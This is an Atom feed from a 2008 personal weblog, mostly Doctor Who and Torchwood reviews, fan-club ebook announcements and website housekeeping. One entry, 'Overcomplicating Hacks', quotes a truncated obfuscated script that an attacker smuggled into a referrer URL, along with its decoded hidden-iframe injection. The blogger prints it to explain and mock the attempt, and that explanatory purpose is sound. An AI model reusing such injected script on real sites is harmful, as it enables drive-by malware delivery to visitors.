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<title>Alden Bates&apos; Weblog</title>
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<modified>2008-05-08T07:36:01Z</modified>
<tagline>Feigning normality since 1973</tagline>
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<title>Error 403 graphic</title>
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<modified>2008-05-08T07:36:01Z</modified>
<issued>2008-05-08T07:33:50Z</issued>
<id>tag:www.aldenbates.com,2008://1.564</id>
<created>2008-05-08T07:33:50Z</created>
<summary type="text/plain">I&apos;m finding that the new error 403 graphic (it appears when people try to leech my bandwidth by remote-linking to my graphics) for this site is proving to be quite effective at discouraging bandwidth leeching. I think it&apos;s the middle...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Website Management</dc:subject>
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<![CDATA[<p>I'm finding that the new error 403 graphic (it appears when people try to leech my bandwidth by remote-linking to my graphics) for this site is proving to be quite effective at discouraging bandwidth leeching.  I think it's the middle bit.</p>

<p><img src="/sh/err403.gif" alt="error 403 graphic" width="100" height="100"></p>

<p>If only there were some way to apply this technique to email spam...</p>

<p>Previously: <a href="http://www.aldenbates.com/archives/2006/05/25/even_better_hotlink_protection.html">Even better hotlink protection</a>, <a href="http://www.aldenbates.com/archives/2006/07/01/more_on_even_better_hotlink_protection.html">More on "Even better hotlink protection"</a><br />
</p>]]>

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<entry>
<title>TSV 57</title>
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<modified>2008-05-04T02:22:22Z</modified>
<issued>2008-05-03T09:01:09Z</issued>
<id>tag:www.aldenbates.com,2008://1.563</id>
<created>2008-05-03T09:01:09Z</created>
<summary type="text/plain">Online today - TSV 57! After the news of the recovery of missing episode The Lion in TSV 56, the next issue contained the full story of its recovery, as well as the more off-beat experiences of Neil Lambess in...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p><a href="http://nzdwfc.tetrap.com/archive/tsv57/"><img src="/sh/tsv57.jpg" width="120" height="170" alt="" style="float: right; margin-left: 8px; border: 1px solid black" /></a>Online today - <a href="http://nzdwfc.tetrap.com/archive/tsv57/">TSV 57</a>!</p>

<p>After the news of the recovery of missing episode The Lion in <a href="http://nzdwfc.tetrap.com/archive/tsv56/">TSV 56</a>, the next issue contained <a href="http://nzdwfc.tetrap.com/archive/tsv57/lion.html">the full story</a> of its recovery, as well as the more off-beat experiences of Neil Lambess in his new regular column <a href="http://nzdwfc.tetrap.com/archive/tsv57/lifeandtimes.html">The Life and Times of Neil Lambess</a>.</p>

<p>The other major item was the printing of <a href="http://nzdwfc.tetrap.com/archive/tsv57/pilots1.html">Pilots of the Deep</a>.  Parts 1 and 2 had been printed in TSV 12 and 14 back in 1989 before the original artist, Mark Roach, had lost interest.  Ten years later, David Ronayne and Peter Adamson collaborated on a conclusion and it was printed (along with the first two parts) in TSV 57.  There was even a <a href="http://nzdwfc.tetrap.com/archive/tsv57/pilotsstory.html">behind the strip article</a> about the creation of Pilots of the Deep.  I wonder if Mark Roach has seen it. :)</p>

<p>Also in this issue, <a href="http://nzdwfc.tetrap.com/archive/tsv57/pex.html">Pex anticipates The Juggernauts</a>, and <a href="http://nzdwfc.tetrap.com/archive/tsv57/karkus.html">he and the Karkus team up to fight a giant headless chicken</a>.  Yes!</p>

<p>Next time, Beyond the Sofa!</p>

<p><b>Previously:</b> <a href="http://www.aldenbates.com/archives/2008/04/08/resurrection_of_the_daleks.html">Resurrection of the Daleks</a><br />
See also: the write-up by <a href="http://jamasenright.blogspot.com/2008/05/lionising-57.html">Jamas</a></p>]]>

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<entry>
<title>Transforming Owl</title>
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<modified>2008-05-02T07:06:20Z</modified>
<issued>2008-05-02T07:05:00Z</issued>
<id>tag:www.aldenbates.com,2008://1.562</id>
<created>2008-05-02T07:05:00Z</created>
<summary type="text/plain">Via indefatigable42:...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Links</dc:subject>
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<![CDATA[<p>Via <a href="http://indefatigable42.livejournal.com/">indefatigable42</a>:

<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/Es52WQKLumI&hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/Es52WQKLumI&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>]]>

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<entry>
<title>Where&apos;s the comment spam gone?</title>
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<modified>2008-04-30T08:34:19Z</modified>
<issued>2008-04-30T08:32:45Z</issued>
<id>tag:www.aldenbates.com,2008://1.561</id>
<created>2008-04-30T08:32:45Z</created>
<summary type="text/plain">It occurred to me that I&apos;m not seeing much comment spam here recently. In fact, they don&apos;t even appear to be trying any more. The last spam which SpamLookup caught was on the 25th of March. Maybe they got discouraged...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Spam</dc:subject>
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<![CDATA[<p>It occurred to me that I'm not seeing much comment spam here recently.  In fact, they don't even appear to be trying any more.  The last spam which SpamLookup caught was on the 25th of March.  Maybe they got discouraged by my security measures.  Maybe I'm not writing about stuff which spammers typically look for.  Maybe I'm not posting enough.</p>

<p>Or maybe spammers are moving on to hacking sites and inserting links that way.  Most of the bad hits I've been getting lately are from people trying to hack my site using PHP exploits.  Of course, I don't use any PHP applications here, so they get a nice error in response.  Judging by the URLs they hit, they found this site by searching for sites which mention PHP.  On the bright side, so long as they're making futile attempts to hack my site, they have less bandwidth to use on trying to hack less secure sites.</p>

<p>So is comment spam on the decrease, or am I just lucky?  It'll be interesting to see if blogging about it causes an increase in attempts...<br />
</p>]]>

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<entry>
<title>Campaign</title>
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<modified>2008-04-29T12:01:10Z</modified>
<issued>2008-04-29T11:55:08Z</issued>
<id>tag:www.aldenbates.com,2008://1.560</id>
<created>2008-04-29T11:55:08Z</created>
<summary type="text/plain">Back in Y2K or so, Jim Mortimore wrote a Doctor Who novel called Campaign. At the time, BBC books were publishing Doctor Who books from a wider range of people, so he submitted it to them. It was rejected. Campaign,...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p><img src="/sh/campaign.jpg" width="120" height="180" alt="" style="float: right; margin-left: 8px; border: 1px solid black" />Back in Y2K or so, Jim Mortimore wrote a Doctor Who novel called Campaign.  At the time, BBC books were publishing Doctor Who books from a wider range of people, so he submitted it to them.  It was rejected.  Campaign, you see, didn't so much push the limits of the genre as kick the limits over and then run away giggling.  It's a veritable mind-bender of a story.</p>

<p>At the time, the author chose to self-publish the novel, and the other day, it went up on the NZDWFC site as an eBook.  It's available primarily as a PDF file (although there's also the option to email the author regarding a hard copy) and not in HTML format like the other eBooks, mainly because it would be really difficult to do.</p>

<p>The crux is, the book is now available to an audience I suspect is wider than that which it would have had had it actually have been published back in 2000. :)</p>

<p><a href="http://nzdwfc.tetrap.com/archive/campaign/">Read Campaign here</a>.<br />
</p>]]>

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<entry>
<title>Doctor Who Series 4 (Part 1)</title>
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<modified>2008-04-24T08:07:34Z</modified>
<issued>2008-04-24T07:54:39Z</issued>
<id>tag:www.aldenbates.com,2008://1.559</id>
<created>2008-04-24T07:54:39Z</created>
<summary type="text/plain">In addition to reviewing the episodes, I&apos;m going to run a &quot;Battle of the Seasons&quot;, wherein I rate analogue stories from each season by some arbitrary factor. Story most-matching the factor in question gets 4 points, second gets 3 points,...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p>In addition to reviewing the episodes, I'm going to run a "Battle of the Seasons", wherein I rate analogue stories from each season by some arbitrary factor.  Story most-matching the factor in question gets 4 points, second gets 3 points, etc.  It should be self explanatory as we go.  Onward! (Spoiler warnings now in effect!)</p>]]>
<![CDATA[<hr style="width: 25%" />

<p><b>Partners in Crime (Obligatory Camp Season Opener)</b></p>

<p>Eagerly we anticipated something new, something different...  and we got the same opening shot as the previous seasons (bar New Earth) - the new companion walking along a crowded city street.  Whatever will Davies do if he needs to introduce a non-Earth companion?  The first twenty minutes or so are taken up by the Doctor and Donna independantly infiltrating Adipose to find out exactly what the diet drug company is up to.  That makes three out of four season openers which have had something to do with medicine.  Hrm.  A fun story, which feels shorter than the average episode. The "you just want to MATE?!" conversation feels forced. <b>[7/10]</b></p>

<p><b>Battle of the Seasons</b>: The season openers in order of campness:<br />
<i>New Earth<br />
Partners in Crime<br />
Rose<br />
Smith and Jones</i></p>

<hr style="width: 25%" />

<p><b>Fires of Pompeii (Obligatory historical with crap running gag)</b></p>

<p>First stop, Rome!  No, wait, Pompeii!  Why does no one ever <i>ever</i> time travel back to Pompeii and arrive, say, a good year before the volcano goes off?  As well as the volcano, there are some Balrog-esque monsters which are sadly easy to defeat, and even a reference back to The Romans.  Another quite fun story, and Donna's already a great companion.  The only thing which kinda irked was the somewhat obviously modern family transplanted to Roman times. <b>[8/10]</b></p>

<p><b>Battle of the Seasons</b>: Historicals in order of running gag annoyance level:<br />
<i>Tooth and Claw</i> (We are not amused. O, RLY? YA RLY!)<br />
<i>The Shakespeare Code<br />
Fires of Pompeii<br />
The Unquiet Dead</i></p>

<p>I'm deducting a point from Fires of Pompeii for neglecting to include gratuitous historical personage.</p>

<hr style="width: 25%" />

<p><b>The Planet of the Ood (Obligatory Future Story with social commentary)</b></p>

<p>Today's message: lobotomising people to make a slave race is wrong.  Duh.  Like Torchwood's "Meat", I've got to wonder exactly who looks at an alien and says "Hey, we could cut off a piece and make it into a slave!", though at least it makes a change to have an actual human villain.  The Ood, again, look fantastic, and I hope we do see them again.  Another alien planet - BRILLIANT!  It's amazing what you can do with a couple of CGI shots and some fake snow. <b>[8/10]</b></p>

<p><b>Battle of the Seasons</b>: In order of blatentness of social commentary:<br />
<i>Gridlock<br />
Planet of the Ood<br />
New Earth<br />
End of the World</i></p>

<p>Also, I'm deducting a point from New Earth, because they doubled up the future episode and the camp season opener, which I've arbitrarily decided is cheating.</p>

<hr style="width: 25%" />

<p>So the scores so far in Battle of the Seasons:</p>

<ul>
<li>Series 2: 9 points</li>
<li>Series 3: 8 points</li>
<li>Series 4: 7 points</li>
<li>Series 1: 4 points</li>
</ul>

<p>So far, series 4 seems to be the season for foreshadowing fifty different things.  I dream of an episode one day where the Doctor never puts on his glasses, uses the sonic screwdriver, or makes a gratuitous reference to Rose.</p>

<p>Next up: the obligatory crap early-season two-parter (with recurring baddies).  Helen Raynor is responsible for the dire Dalek story last season, but her Torchwood scripts were good, so perhaps...</p>
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<entry>
<title>A Dalek pushing a Wheelbarrow</title>
<link rel="alternate" type="text/html" href="http://www.aldenbates.com/archives/2008/04/17/a_dalek_pushing_a_wheelbarrow.html" />
<modified>2008-04-17T07:15:29Z</modified>
<issued>2008-04-17T07:09:29Z</issued>
<id>tag:www.aldenbates.com,2008://1.558</id>
<created>2008-04-17T07:09:29Z</created>
<summary type="text/plain">From this year&apos;s Great Carterton Wheelbarrow Race (Wairarapa Times Age coverage):...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p>From this year's Great Carterton Wheelbarrow Race (Wairarapa Times Age coverage):</p>

<p><img src="/sh/wheelbarrow1.jpg" width="450" height="369" alt="[A Dalek pushing a wheelbarrow]" /></p>]]>
<![CDATA[<p><img src="/sh/wheelbarrow2.jpg" width="450" height="496" alt="[A Dalek pushing a wheelbarrow]" /></p>

<p>See also <a href="http://sparkycom.deviantart.com/art/Carterton-Wheelbarrow-Race-79460325">this Deviantart posting</a> from the creators of the Dalek/TARDIS barrow.</p>

<p>And on an unrelated note, <a href="http://community.livejournal.com/ihasatardis/1122413.html">Partners in Crime remixed</a> for NSFW means!</p>]]>
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<entry>
<title>Windows Live Messenger is a Hog</title>
<link rel="alternate" type="text/html" href="http://www.aldenbates.com/archives/2008/04/17/windows_live_messenger_is_a_hog.html" />
<modified>2008-04-16T12:17:19Z</modified>
<issued>2008-04-16T12:09:24Z</issued>
<id>tag:www.aldenbates.com,2008://1.557</id>
<created>2008-04-16T12:09:24Z</created>
<summary type="text/plain">I&apos;ve noticed that after my computer has been running a while, Windows Live Messenger will go into some sort of funky loop and start eating up memory and CPU cycles. Allow me to demonstrate: Time to try out one of...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Computers</dc:subject>
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<![CDATA[<p>I've noticed that after my computer has been running a while, <a href="http://get.live.com/messenger/overview" rel="nofollow">Windows Live Messenger</a> will go into some sort of funky loop and start eating up memory and CPU cycles.  Allow me to demonstrate:</p>

<p><img src="/sh/msnmsgr.jpg" width="404" height="455" alt="[Task Manager screen shot]" /></p>

<p>Time to try out one of the substitutes, I think.</p>]]>

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<entry>
<title>Overcomplicating Hacks</title>
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<modified>2008-04-15T12:02:49Z</modified>
<issued>2008-04-15T11:42:22Z</issued>
<id>tag:www.aldenbates.com,2008://1.556</id>
<created>2008-04-15T11:42:22Z</created>
<summary type="text/plain"><![CDATA[Wow, it's the middle of the month already! Where does the time go? A week or so ago I noticed an odd hit in my server logs. The referrer url looked like this: http://buxhotel.com/?page=&lt;script&gt; eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72 [whole bunch more encoded characters...]]></summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Spam</dc:subject>
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<![CDATA[<p>Wow, it's the middle of the month already!  Where does the time go?</p>

<p>A week or so ago I noticed an odd hit in my server logs.  The referrer url looked like this:<br />
<span style="font-family:courier new,monospace">http://buxhotel.com/?page=&lt;script&gt; eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72<br />
<i>[whole bunch more encoded characters cut out]</i><br />
%72%61%6d%65%3e%22%29%3b'))&lt;/script&gt;&t=2</span></p>

<p>Java script in the referrer?  I guess the idea was that it would end up in the referrer logs which I don't publish on my web site, and then any unsuspecting people who visited said logs would execute the javascript.  Or possibly would follow the link to the buxhotel page, which would give them back the javascript.  Anyway the pile of encoded characters translated to more javascript, which looked like this:<br />
<span style="font-family:courier new,monospace">document.write("&lt;iframe src='<i>[URL REDACTED]</i>' height='2' width='2'&gt; &lt;/iframe&gt;");</span></p>

<p>The iframe loaded a URL containing yet more javascript which started <span style="font-family:courier new,monospace">document.write(unescape('%3c%68%74%6d%6c%3e</span> etc etc etc.  I didn't bother to extract all of it, but what I did translate made it obvious that the page was loaded with nasty spyware and viruses.</p>

<p>So to recap, this method depends on the target site publishing its logs publicly in some manner that people will either execute the long chain of javascript by visiting the logs or by following the link.  Either way, it seems just a bit desperate to me...</p>]]>

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</entry>

<entry>
<title>Resurrection of the Daleks</title>
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<modified>2008-04-10T08:29:03Z</modified>
<issued>2008-04-08T07:04:14Z</issued>
<id>tag:www.aldenbates.com,2008://1.555</id>
<created>2008-04-08T07:04:14Z</created>
<summary type="text/plain">So, back when Target was novelising Doctor Who stories, they ran into a bit of a snag with several of them. In the cases of Resurrection of the Daleks and Revelation of the Daleks, they were unable to come to...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p><a href="http://nzdwfc.tetrap.com/archive/resurrection/"><img src="/sh/resurrection.jpg" width="120" height="195" alt="" style="float: right; margin-left: 8px; border: 1px solid black" /></a>So, back when Target was novelising Doctor Who stories, they ran into a bit of a snag with several of them.  In the cases of Resurrection of the Daleks and Revelation of the Daleks, they were unable to come to an arrangement which writer Eric Saward and the estate of Terry Nation were all happy with.  Nature abhors a vacuum (and so do fans), thus in January 2000 the NZDWFC published an unofficial novelisation of Resurrection of the Daleks along with reprints of the four previous unofficial novelisations.  Time marches on, and now <a href="http://nzdwfc.tetrap.com/archive/resurrection/">Resurrection of the Daleks</a> is available to read online in both spiffy HTML and PDF formats.</p>

<p>As usual, there are a number of cool extras such as author's notes and an article on the history of the novelisation.  As <a href="http://www.aldenbates.com/archives/2007/04/25/revelation_of_the_daleks_ebook.html">mentioned previously</a>, I've still been getting emails asking if we're going to put the rest of the novelisations up, and I expect to continue to get them until the last one goes up.  Perhaps I should put up a "coming soon" notice on the City of Death page (but then I'll probably just get "How soon?" emails).</p>

<p><b>See also:</b> the write-up by <a href="http://paulscoones.blogspot.com/2008/04/after-spending-so-much-of-my-early.html">Paul</a><br />
<b>Previously:</b> <a href="http://www.aldenbates.com/archives/2008/03/14/tsv_56.html">TSV 56</a></p>]]>

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</entry>

<entry>
<title>Torchwood Series 2 (spoilers)</title>
<link rel="alternate" type="text/html" href="http://www.aldenbates.com/archives/2008/04/06/torchwood_series_2_spoilers.html" />
<modified>2008-04-06T01:13:17Z</modified>
<issued>2008-04-05T23:45:59Z</issued>
<id>tag:www.aldenbates.com,2008://1.554</id>
<created>2008-04-05T23:45:59Z</created>
<summary type="text/plain">James Marsters, I suspect, is trying to do a tour of the major SF franchises. So far he&apos;s been in Smallville, Torchwood (which is as near as spit to Doctor Who) and ISTR he has a non-speaking appearance as Tarkin...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p>James Marsters, I suspect, is trying to do a tour of the major SF franchises.  So far he's been in Smallville, Torchwood (which is as near as spit to Doctor Who) and ISTR he has a non-speaking appearance as Tarkin in Episode III.  Watch out for him in the new Star Trek movie!  So, now Torchwood series 2 is over, I give you the ultra-short episode guide...</p>
]]>
<![CDATA[<dl>
<dt><b>"Kiss Kiss, Bang Bang"</b></dt>
<dd>In which Angel's old friend Spike visits Wolfram and Hart and causes trouble for our immortal hero and his friends. (Ianto = Wesley, Owen = Gunn, Tosh = Fred, Gwen = Cordelia?)</dd>

<dt><b>"Sleeper"</b></dt>

<dd>In which we learn there's a deeply rooted alien infiltration which will rise up and attempt to wipe out the human race. (Someday, just not this season.  Of course, global warming will probably get us first.)</dd>

<dt><b>"To the Last Man"</b></dt>

<dd>In which Torchwood shows it can recycle plots from its own previous season as well as plots from Joss Whedon shows. (Also, anyone Tosh fancies will die.  Look out, Owen!)</dd>

<dt><b>"Meat"</b></dt>

<dd>In which we learn that strawman arguments aren't a great way to argue your point about becoming a vegetarian. (Although I guess at some point someone must have looked at a cow and thought "Hey, I could probably eat that!")</dd>

<dt><b>"Adam"</b></dt>

<dd>In which we discover that the end of episode reset button also comes in pill form. (I hope they remembered to retcon Rhys, or he's going to have a lot of questions for Gwen.)</dd>

<dt><b>"Reset"</b></dt>

<dd>In which Tosh's curse finally catches up with Owen. (Also, there's Martha and some alien bugs.)</dd>

<dt><b>"Dead Man Walking"</b></dt>

<dd>In which Owen becomes a zombie, only without the decomposition and reduced brain function. (Does that mean his immune system is still working?  But that relies on blood flow, surely. Also, if he doesn't eat or drink, where's his body drawing energy from?)</dd>

<dt><b>"A Day in the Death"</b></dt>

<dd>In which Zombie Owen misses his bodily functions. (It could be worse - he could be staggering about going "Braaaaaaaains".)</dd>

<dt><b>"Something Borrowed"</b></dt>

<dd>In which we learn that being impregnated with an alien chest burster is no reason to postpone a wedding.  (If I was Gwen, I'd blame the hormones.)</dd>

<dt><b>"From Out of the Rain"</b></dt>

<dd>In which we learn that PJ Hammond would much rather be writing Sapphire and Steel. (And that Jack's been part of a sideshow before.)</dd>

<dt><b>"Adrift"</b></dt>

<dd>In which we learn that the rift works both ways and sometimes scoops people up and deposits them on alien planets. (You'd think Jack might have mentioned this earlier.  Heck, you'd think He Who Shall Not Be Named might have mentioned it.)</dd>

<dt><b>"Fragments"</b></dt>

<dd>In which we learn that standing right next to a bomb when it blows up results in minor abrasions and possible a broken rib (if you're unlucky). (Toshiko obviously wasn't holding a grudge against UNIT, considering she wasn't at all hostile towards Martha a few episodes back...)</dd>

<dt><b>"Exit Wounds"</b></dt>

<dd>In which we discover that family reunions can be more trouble than they're worth. (And also Cardiff looks remarkably unscathed after having been bombed the night before.)</dd>
</dl>

<p>In all? A pretty good season.  Started getting a little shaky towards the end, with the likes of Fragments (the flashbacks were good though) and Something Borrowed, but the rest of the episodes were actually quite good, despite my remarks above. My favourite was "From Out of the Rain", which seems to have received somewhat of a critical panning, which I suspect is largely due to the fact it's the supernatural with a slight scientific dressing and shares a few plot points in common with PJ Hammond's other famous contribution to the genre of cult television.  And if I can accept Owen being dead and yet walking around without starting to stink up the place with his decomposing, I can accept weird circus people who hide in old films.</p>

<p>I'm going to be honest and admit that I liked it more than I liked series 3 of Doctor Who.  I hope series 4 is as good.</p>]]>
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<entry>
<title>Random Sunrise Photo!</title>
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<modified>2008-04-04T05:29:34Z</modified>
<issued>2008-04-04T05:23:34Z</issued>
<id>tag:www.aldenbates.com,2008://1.553</id>
<created>2008-04-04T05:23:34Z</created>
<summary type="text/plain"> Good morning, April (I meant to post this yesterday, when it would have been 25% closer to the start of the month, but oh well...)...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
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<dc:subject>Misc</dc:subject>
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<p>Good morning, April (I meant to post this yesterday, when it would have been 25% closer to the start of the month, but oh well...)</p>]]>
<![CDATA[<p>aldenbates.com got a record 5072 distinct visitors last month, mostly due to the fact that my <a href="http://www.aldenbates.com/archives/2007/07/25/transformers_slash.html">Transformers Slash post</a> featured on <a href="http://www.stumbleupon.com/">Stumble Upon</a> and got some 800 hits as a result...</p>

<p>Also, I noticed last night that the NZDWFC general message board <a href="http://nzdwfc.tetrap.com/forums/mb/1010000.html">passed 10,000 posts</a> back in February.</p>

<p>A few search terms from last month:<br />
- star trek voyager cartoon porn com<br />
- john barrowman overexposure [Defabricator, huh? What does that do?]<br />
- if and when is jason donovan taking the part of dr who? [WHAT?!]<br />
- could an android pilot a spacecraft to another star system</p>]]>
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<entry>
<title>Random Sunset Photo 2</title>
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<modified>2008-03-31T05:35:59Z</modified>
<issued>2008-03-31T05:31:12Z</issued>
<id>tag:www.aldenbates.com,2008://1.552</id>
<created>2008-03-31T05:31:12Z</created>
<summary type="text/plain"> Goodnight March!...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Weblogging</dc:subject>
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<![CDATA[<p><a href="/sh/sunset2.jpg"><img src="/sh/sunset2s.jpg" width="450" height="338" alt="sunset photo" /></a><br />
Goodnight March!</p>]]>
<![CDATA[<p>I happened to glance at <a href="http://www.kinja.com/id.knj?url=www.aldenbates.com">my Kinja page</a> again.  I mentioned my <a href="http://www.aldenbates.com/archives/2007/06/15/kinja_tags.html">Kinja tags</a> a while back, with regards to the fact I was listed as "conservative".  Currently my tags are:</p>

<p>security - entertainment - featured - google - gossip - liberal - media - new york - search - tech</p>

<p>So it looks like I've been pigeonholed as "liberal".  Also, I still have the "New York" (still haven't been there) and "Featured" tags. Oh, and some of the links on that page are still using the old URL.<br />
</p>]]>
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<entry>
<title>&quot;The Evil that is Doctor Who&quot;</title>
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<modified>2008-03-25T19:10:28Z</modified>
<issued>2008-03-25T19:07:09Z</issued>
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<created>2008-03-25T19:07:09Z</created>
<summary type="text/plain">Dr Who Tardis on sale on eBay &quot;A TROWBRIDGE Christian who renounced the evil of Dr Who in favour of his religion is selling his collection on internet auction website eBay.&quot;...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
</author>
<dc:subject>Doctor Who</dc:subject>
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<![CDATA[<p><a href="http://www.wiltshiretimes.co.uk/news/latestheadlines/display.var.2134279.0.dr_who_tardis_on_sale_on_ebay.php">Dr Who Tardis on sale on eBay</a></p>

<p>"A TROWBRIDGE Christian who renounced the evil of Dr Who in favour of his religion is selling his collection on internet auction website eBay."</p>]]>

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<entry>
<title>China Free</title>
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<modified>2008-03-20T07:25:21Z</modified>
<issued>2008-03-20T06:59:42Z</issued>
<id>tag:www.aldenbates.com,2008://1.550</id>
<created>2008-03-20T06:59:42Z</created>
<summary type="text/plain">Yeah, another political post. This will be the last one for a while, hopefully. I hate politics. Recently the NZ government has been working towards a Free Trade deal with China. A bunch of people, including the Green party, have...</summary>
<author>
<name>abates</name>
<url>http://www.aldenbates.com/</url>
<email>aldenbates@gmail.com</email>
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<dc:subject>Tetrap.Local</dc:subject>
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<![CDATA[<p>Yeah, another political post.  This will be the last one for a while, hopefully.  I hate politics.</p>

<p>Recently the NZ government has been working towards a Free Trade deal with China.  A bunch of people, including the Green party, have said the Trade deal should be thrown out due to the way <a href="http://www.stuff.co.nz/4441779a13.html">China keeps killing Tibetans</a>, and their crumby human rights record in general.  Also, there's talk of boycotting the upcoming Beijing Olympics.</p>

<p>Leaving aside the fact that the Olympics are actually nicely bringing attention to Tibet (and I'm sure some of the athletes will <a href="http://www.stuff.co.nz/4437913a4500.html">defy the ban on mentioning Tibet</a>), I point you to Statistics New Zealand's <a href="http://www.stats.govt.nz/products-and-services/ext-trade-stats/default.htm">External Trade Statistics page</a>.</p>

<p>In 2005, New Zealand imported 3.67 billion dollars worth of stuff from China.  In 2006, it was 4.44 billion, and the projected total for 2007 is listed as 5.28 billion.  For contrast, in 2006 we exported only 1.74 billion dollars worth of stuff to China, and in 2007 the projection was 1.88 billion.  So we're already dropping a fair amount of money into the Chinese economy, and whether or not we get a free trade deal with them isn't likely to change that.  We'll go on buying their stuff and giving them money, and they'll go on doing what they're doing.</p>

<p>Or is there something I'm missing?</p>]]>

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